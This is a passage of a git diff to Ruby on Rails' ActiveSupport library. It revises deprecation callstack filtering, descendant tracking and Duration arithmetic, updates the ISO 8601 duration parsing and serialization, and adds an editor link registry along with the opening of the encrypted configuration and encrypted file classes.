+        RAILS_GEM_ROOT = File.expand_path("../../../..", __dir__) + "/"
+        private_constant :RAILS_GEM_ROOT
+        LIB_DIR = RbConfig::CONFIG["libdir"]
+        private_constant :LIB_DIR
 
-        def ignored_callstack(path)
-          path.start_with?(RAILS_GEM_ROOT) || path.start_with?(RbConfig::CONFIG["rubylibdir"])
+        def ignored_callstack?(path)
+          path.start_with?(RAILS_GEM_ROOT, LIB_DIR) || path.include?("<internal:")
         end
     end
   end
diff --git a/activesupport/lib/active_support/deprecator.rb b/activesupport/lib/active_support/deprecator.rb
new file mode 100644
index 0000000000000..3e3c38ecd23f8
--- /dev/null
+++ b/activesupport/lib/active_support/deprecator.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  def self.deprecator # :nodoc:
+    ActiveSupport::Deprecation._instance
+  end
+end
diff --git a/activesupport/lib/active_support/descendants_tracker.rb b/activesupport/lib/active_support/descendants_tracker.rb
index 27861e01d00c2..f6b2bfc7b4996 100644
--- a/activesupport/lib/active_support/descendants_tracker.rb
+++ b/activesupport/lib/active_support/descendants_tracker.rb
@@ -1,60 +1,112 @@
+# frozen_string_literal: true
+
+require "weakref"
+
 module ActiveSupport
+  # = Active Support Descendants Tracker
+  #
   # This module provides an internal implementation to track descendants
-  # which is faster than iterating through ObjectSpace.
+  # which is faster than iterating through +ObjectSpace+.
+  #
+  # However Ruby 3.1 provide a fast native +Class#subclasses+ method,
+  # so if you know your code won't be executed on older rubies, including
+  # +ActiveSupport::DescendantsTracker+ does not provide any benefit.
   module DescendantsTracker
-    @@direct_descendants = {}
+    @clear_disabled = false
 
-    class << self
-      def direct_descendants(klass)
-        @@direct_descendants[klass] || []
+    if RUBY_ENGINE == "ruby"
+      # On MRI `ObjectSpace::WeakMap` keys are weak references.
+      # So we can simply use WeakMap as a `Set`.
+      class WeakSet < ObjectSpace::WeakMap # :nodoc:
+        alias_method :to_a, :keys
+
+        def <<(object)
+          self[object] = true
+        end
       end
+    else
+      # On TruffleRuby `ObjectSpace::WeakMap` keys are strong references.
+      # So we use `object_id` as a key and the actual object as a value.
+      #
+      # JRuby for now doesn't have Class#descendant, but when it will, it will likely
+      # have the same WeakMap semantic than Truffle so we future proof this as much as possible.
+      class WeakSet # :nodoc:
+        def initialize
+          @map = ObjectSpace::WeakMap.new
+        end
 
-      def descendants(klass)
-        arr = []
-        accumulate_descendants(klass, arr)
-        arr
-      end
-
-      def clear
-        if defined? ActiveSupport::Dependencies
-          @@direct_descendants.each do |klass, descendants|
-            if ActiveSupport::Dependencies.autoloaded?(klass)
-              @@direct_descendants.delete(klass)
-            else
-              descendants.reject! { |v| ActiveSupport::Dependencies.autoloaded?(v) }
-            end
-          end
-        else
-          @@direct_descendants.clear
+        def [](object)
+          @map.key?(object.object_id)
+        end
+        alias_method :include?, :[]
+
+        def []=(object, _present)
+          @map[object.object_id] = object
+        end
+
+        def to_a
+          @map.values
+        end
+
+        def <<(object)
+          self[object] = true
         end
       end
+    end
+    @excluded_descendants = WeakSet.new
 
-      # This is the only method that is not thread safe, but is only ever called
-      # during the eager loading phase.
-      def store_inherited(klass, descendant)
-        (@@direct_descendants[klass] ||= []) << descendant
+    module ReloadedClassesFiltering # :nodoc:
+      def subclasses
+        DescendantsTracker.reject!(super)
       end
 
-      private
-      def accumulate_descendants(klass, acc)
-        if direct_descendants = @@direct_descendants[klass]
-          acc.concat(direct_descendants)
-          direct_descendants.each { |direct_descendant| accumulate_descendants(direct_descendant, acc) }
-        end
+      def descendants
+        DescendantsTracker.reject!(super)
       end
     end
 
-    def inherited(base)
-      DescendantsTracker.store_inherited(self, base)
-      super
+    class << self
+      def disable_clear! # :nodoc:
+        unless @clear_disabled
+          @clear_disabled = true
+          ReloadedClassesFiltering.remove_method(:subclasses)
+          ReloadedClassesFiltering.remove_method(:descendants)
+          @excluded_descendants = nil
+        end
+      end
+
+      def clear(classes) # :nodoc:
+        raise "DescendantsTracker.clear was disabled because config.enable_reloading is false" if @clear_disabled
+
+        classes.each do |klass|
+          @excluded_descendants << klass
+          klass.descendants.each do |descendant|
+            @excluded_descendants << descendant
+          end
+        end
+      end
+
+      def reject!(classes) # :nodoc:
+        if @excluded_descendants
+          classes.reject! { |d| @excluded_descendants.include?(d) }
+        end
+        classes
+      end
     end
 
-    def direct_descendants
-      DescendantsTracker.direct_descendants(self)
+    class << self
+      def subclasses(klass)
+        klass.subclasses
+      end
+
+      def descendants(klass)
+        klass.descendants
+      end
     end
 
     def descendants
-      DescendantsTracker.descendants(self)
+      subclasses = DescendantsTracker.reject!(self.subclasses)
+      subclasses.concat(subclasses.flat_map(&:descendants))
     end
   end
 end
diff --git a/activesupport/lib/active_support/digest.rb b/activesupport/lib/active_support/digest.rb
new file mode 100644
index 0000000000000..a3d27be643ed5
--- /dev/null
+++ b/activesupport/lib/active_support/digest.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "openssl"
+
+module ActiveSupport
+  class Digest # :nodoc:
+    class << self
+      def hash_digest_class
+        @hash_digest_class ||= OpenSSL::Digest::MD5
+      end
+
+      def hash_digest_class=(klass)
+        raise ArgumentError, "#{klass} is expected to implement hexdigest class method" unless klass.respond_to?(:hexdigest)
+        @hash_digest_class = klass
+      end
+
+      def hexdigest(arg)
+        hash_digest_class.hexdigest(arg)[0...32]
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb
index 003f6203efede..9f04e16cf9caa 100644
--- a/activesupport/lib/active_support/duration.rb
+++ b/activesupport/lib/active_support/duration.rb
@@ -1,12 +1,115 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/array/conversions"
+require "active_support/core_ext/module/delegation"
 require "active_support/core_ext/object/acts_like"
 
 module ActiveSupport
+  # = Active Support \Duration
+  #
   # Provides accurate date and time measurements using Date#advance and
   # Time#advance, respectively. It mainly supports the methods on Numeric.
   #
   #   1.month.ago       # equivalent to Time.now.advance(months: -1)
   class Duration
+    class Scalar < Numeric # :nodoc:
+      attr_reader :value
+      delegate :to_i, :to_f, :to_s, to: :@value
+
+      def initialize(value)
+        @value = value
+      end
+
+      def coerce(other)
+        [Scalar.new(other), self]
+      end
+
+      def -@
+        Scalar.new(-value)
+      end
+
+      def <=>(other)
+        if Scalar === other || Duration === other
+          value <=> other.value
+        elsif Numeric === other
+          value <=> other
+        else
+          nil
+        end
+      end
+
+      def +(other)
+        if Duration === other
+          seconds   = value + other._parts.fetch(:seconds, 0)
+          new_parts = other._parts.merge(seconds: seconds)
+          new_value = value + other.value
+
+          Duration.new(new_value, new_parts, other.variable?)
+        else
+          calculate(:+, other)
+        end
+      end
+
+      def -(other)
+        if Duration === other
+          seconds   = value - other._parts.fetch(:seconds, 0)
+          new_parts = other._parts.transform_values(&:-@)
+          new_parts = new_parts.merge(seconds: seconds)
+          new_value = value - other.value
+
+          Duration.new(new_value, new_parts, other.variable?)
+        else
+          calculate(:-, other)
+        end
+      end
+
+      def *(other)
+        if Duration === other
+          new_parts = other._parts.transform_values { |other_value| value * other_value }
+          new_value = value * other.value
+
+          Duration.new(new_value, new_parts, other.variable?)
+        else
+          calculate(:*, other)
+        end
+      end
+
+      def /(other)
+        if Duration === other
+          value / other.value
+        else
+          calculate(:/, other)
+        end
+      end
+
+      def %(other)
+        if Duration === other
+          Duration.build(value % other.value)
+        else
+          calculate(:%, other)
+        end
+      end
+
+      def variable? # :nodoc:
+        false
+      end
+
+      private
+        def calculate(op, other)
+          if Scalar === other
+            Scalar.new(value.public_send(op, other.value))
+          elsif Numeric === other
+            Scalar.new(value.public_send(op, other))
+          else
+            raise_type_error(other)
+          end
+        end
+
+        def raise_type_error(other)
+          raise TypeError, "no implicit conversion of #{other.class} into #{self.class}"
+        end
+    end
+
     SECONDS_PER_MINUTE = 60
     SECONDS_PER_HOUR   = 3600
     SECONDS_PER_DAY    = 86400
@@ -24,7 +127,10 @@ class Duration
       years:   SECONDS_PER_YEAR
     }.freeze
 
-    attr_accessor :value, :parts
+    PARTS = [:years, :months, :weeks, :days, :hours, :minutes, :seconds].freeze
+    VARIABLE_PARTS = [:years, :months, :weeks, :days].freeze
+
+    attr_reader :value
 
     autoload :ISO8601Parser,     "active_support/duration/iso8601_parser"
     autoload :ISO8601Serializer, "active_support/duration/iso8601_serializer"
@@ -32,7 +138,7 @@ class Duration
     class << self
       # Creates a new Duration from string formatted according to ISO 8601 Duration.
       #
-      # See {ISO 8601}[http://en.wikipedia.org/wiki/ISO_8601#Durations] for more information.
+      # See {ISO 8601}[https://en.wikipedia.org/wiki/ISO_8601#Durations] for more information.
       # This method allows negative parts to be present in pattern.
       # If invalid string is provided, it will raise +ActiveSupport::Duration::ISO8601Parser::ParsingError+.
       def parse(iso8601duration)
@@ -40,42 +146,74 @@ def parse(iso8601duration)
         new(calculate_total_seconds(parts), parts)
       end
 
-      def ===(other) #:nodoc:
+      def ===(other) # :nodoc:
         other.is_a?(Duration)
       rescue ::NoMethodError
         false
       end
 
-      def seconds(value) #:nodoc:
-        new(value, [[:seconds, value]])
+      def seconds(value) # :nodoc:
+        new(value, { seconds: value }, false)
       end
 
-      def minutes(value) #:nodoc:
-        new(value * SECONDS_PER_MINUTE, [[:minutes, value]])
+      def minutes(value) # :nodoc:
+        new(value * SECONDS_PER_MINUTE, { minutes: value }, false)
       end
 
-      def hours(value) #:nodoc:
-        new(value * SECONDS_PER_HOUR, [[:hours, value]])
+      def hours(value) # :nodoc:
+        new(value * SECONDS_PER_HOUR, { hours: value }, false)
       end
 
-      def days(value) #:nodoc:
-        new(value * SECONDS_PER_DAY, [[:days, value]])
+      def days(value) # :nodoc:
+        new(value * SECONDS_PER_DAY, { days: value }, true)
       end
 
-      def weeks(value) #:nodoc:
-        new(value * SECONDS_PER_WEEK, [[:weeks, value]])
+      def weeks(value) # :nodoc:
+        new(value * SECONDS_PER_WEEK, { weeks: value }, true)
       end
 
-      def months(value) #:nodoc:
-        new(value * SECONDS_PER_MONTH, [[:months, value]])
+      def months(value) # :nodoc:
+        new(value * SECONDS_PER_MONTH, { months: value }, true)
       end
 
-      def years(value) #:nodoc:
-        new(value * SECONDS_PER_YEAR, [[:years, value]])
+      def years(value) # :nodoc:
+        new(value * SECONDS_PER_YEAR, { years: value }, true)
       end
 
-      private
+      # Creates a new Duration from a seconds value that is converted
+      # to the individual parts:
+      #
+      #   ActiveSupport::Duration.build(31556952).parts # => {:years=>1}
+      #   ActiveSupport::Duration.build(2716146).parts  # => {:months=>1, :days=>1}
+      #
+      def build(value)
+        unless value.is_a?(::Numeric)
+          raise TypeError, "can't build an #{self.name} from a #{value.class.name}"
+        end
+
+        parts = {}
+        remainder_sign = value <=> 0
+        remainder = value.round(9).abs
+        variable = false
+
+        PARTS.each do |part|
+          unless part == :seconds
+            part_in_seconds = PARTS_IN_SECONDS[part]
+            parts[part] = remainder.div(part_in_seconds) * remainder_sign
+            remainder %= part_in_seconds
+
+            unless parts[part].zero?
+              variable ||= VARIABLE_PARTS.include?(part)
+            end
+          end
+        end unless value == 0
+
+        parts[:seconds] = remainder * remainder_sign
 
+        new(value, parts, variable)
+      end
+
+      private
         def calculate_total_seconds(parts)
           parts.inject(0) do |total, (part, value)|
             total + value * PARTS_IN_SECONDS[part]
@@ -83,23 +221,59 @@ def calculate_total_seconds(parts)
         end
     end
 
-    def initialize(value, parts) #:nodoc:
-      @value, @parts = value, parts.to_h
-      @parts.default = 0
+    Delegation.generate(self, [:to_f, :positive?, :negative?, :zero?, :abs], to: :@value, as: Integer, nilable: false)
+
+    def initialize(value, parts, variable = nil) # :nodoc:
+      @value, @parts = value, parts
+      @parts.reject! { |k, v| v.zero? } unless value == 0
+      @parts.freeze
+      @variable = variable
+
+      if @variable.nil?
+        @variable = @parts.any? { |part, _| VARIABLE_PARTS.include?(part) }
+      end
+    end
+
+    # Returns a copy of the parts hash that defines the duration.
+    #
+    #   5.minutes.parts # => {:minutes=>5}
+    #   3.years.parts # => {:years=>3}
+    def parts
+      @parts.dup
+    end
+
+    def coerce(other) # :nodoc:
+      case other
+      when Scalar
+        [other, self]
+      when Duration
+        [Scalar.new(other.value), self]
+      else
+        [Scalar.new(other), self]
+      end
+    end
+
+    # Compares one Duration with another or a Numeric to this Duration.
+    # Numeric values are treated as seconds.
+    def <=>(other)
+      if Duration === other
+        value <=> other.value
+      elsif Numeric === other
+        value <=> other
+      end
     end
 
     # Adds another Duration or a Numeric to this Duration. Numeric values
     # are treated as seconds.
     def +(other)
       if Duration === other
-        parts = @parts.dup
-        other.parts.each do |(key, value)|
-          parts[key] += value
+        parts = @parts.merge(other._parts) do |_key, value, other_value|
+          value + other_value
         end
-        Duration.new(value + other.value, parts)
+        Duration.new(value + other.value, parts, @variable || other.variable?)
       else
-        seconds = @parts[:seconds] + other
-        Duration.new(value + other, @parts.merge(seconds: seconds))
+        seconds = @parts.fetch(:seconds, 0) + other
+        Duration.new(value + other, @parts.merge(seconds: seconds), @variable)
       end
     end
 
@@ -109,11 +283,51 @@ def -(other)
       self + (-other)
     end
 
-    def -@ #:nodoc:
-      Duration.new(-value, parts.map { |type, number| [type, -number] })
+    # Multiplies this Duration by a Numeric and returns a new Duration.
+    def *(other)
+      if Scalar === other || Duration === other
+        Duration.new(value * other.value, @parts.transform_values { |number| number * other.value }, @variable || other.variable?)
+      elsif Numeric === other
+        Duration.new(value * other, @parts.transform_values { |number| number * other }, @variable)
+      else
+        raise_type_error(other)
+      end
     end
 
-    def is_a?(klass) #:nodoc:
+    # Divides this Duration by a Numeric and returns a new Duration.
+    def /(other)
+      if Scalar === other
+        Duration.new(value / other.value, @parts.transform_values { |number| number / other.value }, @variable)
+      elsif Duration === other
+        value / other.value
+      elsif Numeric === other
+        Duration.new(value / other, @parts.transform_values { |number| number / other }, @variable)
+      else
+        raise_type_error(other)
+      end
+    end
+
+    # Returns the modulo of this Duration by another Duration or Numeric.
+    # Numeric values are treated as seconds.
+    def %(other)
+      if Duration === other || Scalar === other
+        Duration.build(value % other.value)
+      elsif Numeric === other
+        Duration.build(value % other)
+      else
+        raise_type_error(other)
+      end
+    end
+
+    def -@ # :nodoc:
+      Duration.new(-value, @parts.transform_values(&:-@), @variable)
+    end
+
+    def +@ # :nodoc:
+      self
+    end
+
+    def is_a?(klass) # :nodoc:
       Duration == klass || value.is_a?(klass)
     end
     alias :kind_of? :is_a?
@@ -157,12 +371,55 @@ def to_s
     #   1.year.to_i     # => 31556952
     #
     # In such cases, Ruby's core
-    # Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and
-    # Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision
+    # Date[https://docs.ruby-lang.org/en/master/Date.html] and
+    # Time[https://docs.ruby-lang.org/en/master/Time.html] should be used for precision
     # date and time arithmetic.
     def to_i
       @value.to_i
     end
+    alias :in_seconds :to_i
+
+    # Returns the amount of minutes a duration covers as a float
+    #
+    #   1.day.in_minutes # => 1440.0
+    def in_minutes
+      in_seconds / SECONDS_PER_MINUTE.to_f
+    end
+
+    # Returns the amount of hours a duration covers as a float
+    #
+    #   1.day.in_hours # => 24.0
+    def in_hours
+      in_seconds / SECONDS_PER_HOUR.to_f
+    end
+
+    # Returns the amount of days a duration covers as a float
+    #
+    #   12.hours.in_days # => 0.5
+    def in_days
+      in_seconds / SECONDS_PER_DAY.to_f
+    end
+
+    # Returns the amount of weeks a duration covers as a float
+    #
+    #   2.months.in_weeks # => 8.696
+    def in_weeks
+      in_seconds / SECONDS_PER_WEEK.to_f
+    end
+
+    # Returns the amount of months a duration covers as a float
+    #
+    #   9.weeks.in_months # => 2.07
+    def in_months
+      in_seconds / SECONDS_PER_MONTH.to_f
+    end
+
+    # Returns the amount of years a duration covers as a float
+    #
+    #   30.days.in_years # => 0.082
+    def in_years
+      in_seconds / SECONDS_PER_YEAR.to_f
+    end
 
     # Returns +true+ if +other+ is also a Duration instance, which has the
     # same parts as this one.
@@ -180,6 +437,7 @@ def since(time = ::Time.current)
       sum(1, time)
     end
     alias :from_now :since
+    alias :after :since
 
     # Calculates a new Time or Date that is as far in the past
     # as this Duration represents.
@@ -187,21 +445,27 @@ def ago(time = ::Time.current)
       sum(-1, time)
     end
     alias :until :ago
+    alias :before :ago
+
+    def inspect # :nodoc:
+      return "#{value} seconds" if @parts.empty?
 
-    def inspect #:nodoc:
-      parts.
-        reduce(::Hash.new(0)) { |h, (l, r)| h[l] += r; h }.
-        sort_by { |unit,  _ | [:years, :months, :weeks, :days, :hours, :minutes, :seconds].index(unit) }.
+      @parts.
+        sort_by { |unit,  _ | PARTS.index(unit) }.
         map     { |unit, val| "#{val} #{val == 1 ? unit.to_s.chop : unit.to_s}" }.
-        to_sentence(locale: ::I18n.default_locale)
+        to_sentence(locale: false)
     end
 
-    def as_json(options = nil) #:nodoc:
+    def as_json(options = nil) # :nodoc:
       to_i
     end
 
-    def respond_to_missing?(method, include_private = false) #:nodoc:
-      @value.respond_to?(method, include_private)
+    def init_with(coder) # :nodoc:
+      initialize(coder["value"], coder["parts"])
+    end
+
+    def encode_with(coder) # :nodoc:
+      coder.map = { "value" => @value, "parts" => @parts }
     end
 
     # Build ISO 8601 Duration string for this duration.
@@ -210,30 +474,51 @@ def iso8601(precision: nil)
       ISO8601Serializer.new(self, precision: precision).serialize
     end
 
-    delegate :<=>, to: :value
+    def variable? # :nodoc:
+      @variable
+    end
 
-    private
+    def _parts # :nodoc:
+      @parts
+    end
 
+    private
       def sum(sign, time = ::Time.current)
-        parts.inject(time) do |t, (type, number)|
-          if t.acts_like?(:time) || t.acts_like?(:date)
-            if type == :seconds
-              t.since(sign * number)
-            elsif type == :minutes
-              t.since(sign * number * 60)
-            elsif type == :hours
-              t.since(sign * number * 3600)
-            else
-              t.advance(type => sign * number)
-            end
-          else
-            raise ::ArgumentError, "expected a time or date, got #{time.inspect}"
+        unless time.acts_like?(:time) || time.acts_like?(:date)
+          raise ::ArgumentError, "expected a time or date, got #{time.inspect}"
+        end
+
+        if @parts.empty?
+          time.since(sign * value)
+        else
+          @parts.each do |type, number|
+            t = time
+            time =
+              if type == :seconds
+                t.since(sign * number)
+              elsif type == :minutes
+                t.since(sign * number * 60)
+              elsif type == :hours
+                t.since(sign * number * 3600)
+              else
+                t.advance(type => sign * number)
+              end
           end
+
+          time
         end
       end
 
-      def method_missing(method, *args, &block)
-        value.send(method, *args, &block)
+      def respond_to_missing?(method, _)
+        value.respond_to?(method)
+      end
+
+      def method_missing(...)
+        value.public_send(...)
+      end
+
+      def raise_type_error(other)
+        raise TypeError, "no implicit conversion of #{other.class} into #{self.class}"
       end
   end
 end
diff --git a/activesupport/lib/active_support/duration/iso8601_parser.rb b/activesupport/lib/active_support/duration/iso8601_parser.rb
index e96cb8e8831b4..8ccd0cf4b72a3 100644
--- a/activesupport/lib/active_support/duration/iso8601_parser.rb
+++ b/activesupport/lib/active_support/duration/iso8601_parser.rb
@@ -1,25 +1,26 @@
+# frozen_string_literal: true
+
 require "strscan"
-require "active_support/core_ext/regexp"
 
 module ActiveSupport
   class Duration
     # Parses a string formatted according to ISO 8601 Duration into the hash.
     #
-    # See {ISO 8601}[http://en.wikipedia.org/wiki/ISO_8601#Durations] for more information.
+    # See {ISO 8601}[https://en.wikipedia.org/wiki/ISO_8601#Durations] for more information.
     #
     # This parser allows negative parts to be present in pattern.
     class ISO8601Parser # :nodoc:
       class ParsingError < ::ArgumentError; end
 
       PERIOD_OR_COMMA = /\.|,/
-      PERIOD = ".".freeze
-      COMMA = ",".freeze
+      PERIOD = "."
+      COMMA = ","
 
-      SIGN_MARKER = /\A\-|\+|/
+      SIGN_MARKER = /\A-|\+|/
       DATE_MARKER = /P/
       TIME_MARKER = /T/
-      DATE_COMPONENT = /(\-?\d+(?:[.,]\d+)?)(Y|M|D|W)/
-      TIME_COMPONENT = /(\-?\d+(?:[.,]\d+)?)(H|M|S)/
+      DATE_COMPONENT = /(-?\d+(?:[.,]\d+)?)(Y|M|D|W)/
+      TIME_COMPONENT = /(-?\d+(?:[.,]\d+)?)(H|M|S)/
 
       DATE_TO_PART = { "Y" => :years, "M" => :months, "W" => :weeks, "D" => :days }
       TIME_TO_PART = { "H" => :hours, "M" => :minutes, "S" => :seconds }
@@ -79,7 +80,6 @@ def parse!
       end
 
       private
-
         def finished?
           scanner.eos?
         end
@@ -102,12 +102,12 @@ def validate!
           raise_parsing_error("is empty duration") if parts.empty?
 
           # Mixing any of Y, M, D with W is invalid.
-          if parts.key?(:weeks) && (parts.keys & DATE_COMPONENTS).any?
+          if parts.key?(:weeks) && parts.keys.intersect?(DATE_COMPONENTS)
             raise_parsing_error("mixing weeks with other date parts not allowed")
           end
 
           # Specifying an empty T part is invalid.
-          if mode == :time && (parts.keys & TIME_COMPONENTS).empty?
+          if mode == :time && !parts.keys.intersect?(TIME_COMPONENTS)
             raise_parsing_error("time part marker is present but time part is empty")
           end
 
@@ -116,7 +116,7 @@ def validate!
             raise_parsing_error "(only last part can be fractional)"
           end
 
-          return true
+          true
         end
     end
   end
diff --git a/activesupport/lib/active_support/duration/iso8601_serializer.rb b/activesupport/lib/active_support/duration/iso8601_serializer.rb
index 51d53e2f8d78d..ca9c91297452a 100644
--- a/activesupport/lib/active_support/duration/iso8601_serializer.rb
+++ b/activesupport/lib/active_support/duration/iso8601_serializer.rb
@@ -1,10 +1,11 @@
-require "active_support/core_ext/object/blank"
-require "active_support/core_ext/hash/transform_values"
+# frozen_string_literal: true
 
 module ActiveSupport
   class Duration
     # Serializes duration to string according to ISO 8601 Duration format.
-    class ISO8601Serializer
+    class ISO8601Serializer # :nodoc:
+      DATE_COMPONENTS = %i(years months days)
+
       def initialize(duration, precision: nil)
         @duration = duration
         @precision = precision
@@ -12,41 +13,51 @@ def initialize(duration, precision: nil)
 
       # Builds and returns output string.
       def serialize
-        parts, sign = normalize
-        return "PT0S".freeze if parts.empty?
+        parts = normalize
+        return "PT0S" if parts.empty?
 
-        output = "P"
+        output = +"P"
         output << "#{parts[:years]}Y"   if parts.key?(:years)
         output << "#{parts[:months]}M"  if parts.key?(:months)
-        output << "#{parts[:weeks]}W"   if parts.key?(:weeks)
         output << "#{parts[:days]}D"    if parts.key?(:days)
-        time = ""
+        output << "#{parts[:weeks]}W"   if parts.key?(:weeks)
+        time = +""
         time << "#{parts[:hours]}H"     if parts.key?(:hours)
         time << "#{parts[:minutes]}M"   if parts.key?(:minutes)
         if parts.key?(:seconds)
-          time << "#{sprintf(@precision ? "%0.0#{@precision}f" : '%g', parts[:seconds])}S"
+          time << "#{format_seconds(parts[:seconds])}S"
         end
         output << "T#{time}" unless time.empty?
-        "#{sign}#{output}"
+        output
       end
 
       private
-
         # Return pair of duration's parts and whole duration sign.
         # Parts are summarized (as they can become repetitive due to addition, etc).
         # Zero parts are removed as not significant.
-        # If all parts are negative it will negate all of them and return minus as a sign.
         def normalize
           parts = @duration.parts.each_with_object(Hash.new(0)) do |(k, v), p|
             p[k] += v  unless v.zero?
           end
-          # If all parts are negative - let's make a negative duration
-          sign = ""
-          if parts.values.all? { |v| v < 0 }
-            sign = "-"
-            parts.transform_values!(&:-@)
+
+          # Convert weeks to days and remove weeks if mixed with date parts
+          if week_mixed_with_date?(parts)
+            parts[:days] += parts.delete(:weeks) * SECONDS_PER_WEEK / SECONDS_PER_DAY
+          end
+
+          parts
+        end
+
+        def week_mixed_with_date?(parts)
+          parts.key?(:weeks) && parts.keys.intersect?(DATE_COMPONENTS)
+        end
+
+        def format_seconds(seconds)
+          if @precision
+            sprintf("%0.0#{@precision}f", seconds)
+          else
+            seconds.to_s
           end
-          [parts, sign]
         end
     end
   end
diff --git a/activesupport/lib/active_support/editor.rb b/activesupport/lib/active_support/editor.rb
new file mode 100644
index 0000000000000..5a52df01ef847
--- /dev/null
+++ b/activesupport/lib/active_support/editor.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActiveSupport
+  class Editor
+    @editors = {}
+    @current = false
+
+    class << self
+      # Registers a URL pattern for opening file in a given editor.
+      # This allows Rails to generate clickable links to control known editors.
+      #
+      # Example:
+      #
+      #  ActiveSupport::Editor.register("myeditor", "myeditor://%s:%d")
+      def register(name, url_pattern, aliases: [])
+        editor = new(url_pattern)
+        @editors[name] = editor
+        aliases.each do |a|
+          @editors[a] = editor
+        end
+      end
+
+      # Returns the current editor pattern if it is known.
+      # First check for the `RAILS_EDITOR` environment variable, and if it's
+      # missing, check for the `EDITOR` environment variable.
+      def current
+        if @current == false
+          @current = if editor_name = ENV["RAILS_EDITOR"] || ENV["EDITOR"]
+            @editors[editor_name]
+          end
+        end
+        @current
+      end
+
+      # :nodoc:
+
+      def find(name)
+        @editors[name]
+      end
+
+      def reset
+        @current = false
+      end
+    end
+
+    def initialize(url_pattern)
+      @url_pattern = url_pattern
+    end
+
+    def url_for(path, line)
+      sprintf(@url_pattern, path, line)
+    end
+
+    register "atom", "atom://core/open/file?filename=%s&line=%d"
+    register "cursor", "cursor://file/%s:%f"
+    register "emacs", "emacs://open?url=file://%s&line=%d", aliases: ["emacsclient"]
+    register "idea", "idea://open?file=%s&line=%d"
+    register "macvim", "mvim://open?url=file://%s&line=%d", aliases: ["mvim"]
+    register "nova", "nova://open?path=%s&line=%d"
+    register "rubymine", "x-mine://open?file=%s&line=%d"
+    register "sublime", "subl://open?url=file://%s&line=%d", aliases: ["subl"]
+    register "textmate", "txmt://open?url=file://%s&line=%d", aliases: ["mate"]
+    register "vscode", "vscode://file/%s:%d", aliases: ["code"]
+    register "vscodium", "vscodium://file/%s:%d", aliases: ["codium"]
+    register "windsurf", "windsurf://file/%s:%d"
+    register "zed", "zed://file/%s:%d"
+  end
+end
diff --git a/activesupport/lib/active_support/encrypted_configuration.rb b/activesupport/lib/active_support/encrypted_configuration.rb
new file mode 100644
index 0000000000000..39c7636d71902
--- /dev/null
+++ b/activesupport/lib/active_support/encrypted_configuration.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require "yaml"
+require "active_support/encrypted_file"
+require "active_support/ordered_options"
+require "active_support/core_ext/object/inclusion"
+require "active_support/core_ext/hash/keys"
+require "active_support/core_ext/module/delegation"
+
+module ActiveSupport
+  # = Encrypted Configuration
+  #
+  # Provides convenience methods on top of EncryptedFile to access values stored
+  # as encrypted YAML.
+  #
+  # Values can be accessed via +Hash+ methods, such as +fetch+ and +dig+, or via
+  # dynamic accessor methods, similar to OrderedOptions.
+  #
+  #   my_config = ActiveSupport::EncryptedConfiguration.new(...)
+  #   my_config.read # => "some_secret: 123\nsome_namespace:\n  another_secret: 456"
+  #
+  #   my_config[:some_secret]
+  #   # => 123
+  #   my_config.some_secret
+  #   # => 123
+  #   my_config.dig(:some_namespace, :another_secret)
+  #   # => 456
+  #   my_config.some_namespace.another_secret
+  #   # => 456
+  #   my_config.fetch(:foo)
+  #   # => KeyError
+  #   my_config.foo!
+  #   # => KeyError
+  #
+  class EncryptedConfiguration < EncryptedFile
+    class InvalidContentError < RuntimeError
+      def initialize(content_path)
+        super "Invalid YAML in '#{content_path}'."
+      end
+
+      def message
+        cause.is_a?(Psych::SyntaxError) ? "#{super}\n\n  #{cause.message}" : super
+      end
+    end
+
+    class InvalidKeyError < RuntimeError
+      def initialize(content_path, key)
+        super "Key '#{key}' is invalid, it must respond to '#to_sym' from configuration in '#{content_path}'."
+      end
+    end
+
+    delegate_missing_to :options
+
+    def initialize(config_path:, key_path:, env_key:, raise_if_missing_key:)
+      super content_path: config_path, key_path: key_path,
+        env_key: env_key, raise_if_missing_key: raise_if_missing_key
+      @config = nil
+      @options = nil
+    end
+
+    # Reads the file and returns the decrypted content. See EncryptedFile#read.
+    def read
+      super
+    rescue ActiveSupport::EncryptedFile::MissingContentError
+      # Allow a config to be started without a file present
+      ""
+    end
+
+    def validate! # :nodoc:
+      deserialize(read).each_key do |key|
+        key.to_sym
+      rescue NoMethodError
+        raise InvalidKeyError.new(content_path, key)
+      end
+    end
+
+    # Returns the decrypted content as a Hash with symbolized keys.
+    #
+    #   my_config = ActiveSupport::EncryptedConfiguration.new(...)
+    #   my_config.read # => "some_secret: 123\nsome_namespace:\n  another_secret: 456"
+    #
+    #   my_config.config
+    #   # => { some_secret: 123, some_namespace: { another_secret: 789 } }
+    #
+    def config
+      @config ||= deep_symbolize_keys(deserialize(read))
+    end
+
+    def inspect # :nodoc:
+      "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
+    end
+
+    private
+      def deep_symbolize_keys(hash)
+        hash.deep_transform_keys do |key|
+          key.to_sym
+        rescue NoMethodError
+          raise InvalidKeyError.new(content_path, key)
+        end
+      end
+
+      def deep_transform(hash)
+        return hash unless hash.is_a?(Hash)
+
+        h = ActiveSupport::OrderedOptions.new
+        hash.each do |k, v|
+          h[k] = deep_transform(v)
+        end
+        h
+      end
+
+      def options
+        @options ||= deep_transform(config)
+      end
+
+      def deserialize(content)
+        config = YAML.respond_to?(:unsafe_load) ?
+          YAML.unsafe_load(content, filename: content_path) :
+          YAML.load(content, filename: content_path)
+
+        config.presence || {}
+      rescue Psych::SyntaxError
+        raise InvalidContentError.new(content_path)
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/encrypted_file.rb b/activesupport/lib/active_support/encrypted_file.rb
new file mode 100644
index 0000000000000..6522e00e7979f
--- /dev/null
+++ b/activesupport/lib/active_support/encrypted_file.rb
@@ -0,0 +1,133 @@
+# frozen_string_literal: true
+
+require "pathname"
+require "tempfile"
+require "active_support/message_encryptor"
+
+module ActiveSupport
+  class EncryptedFile
+    class MissingContentError < RuntimeError
+      def initialize(content_path)
+        super "Missing encrypted content file in #{content_path}."
+      end
+    end
+
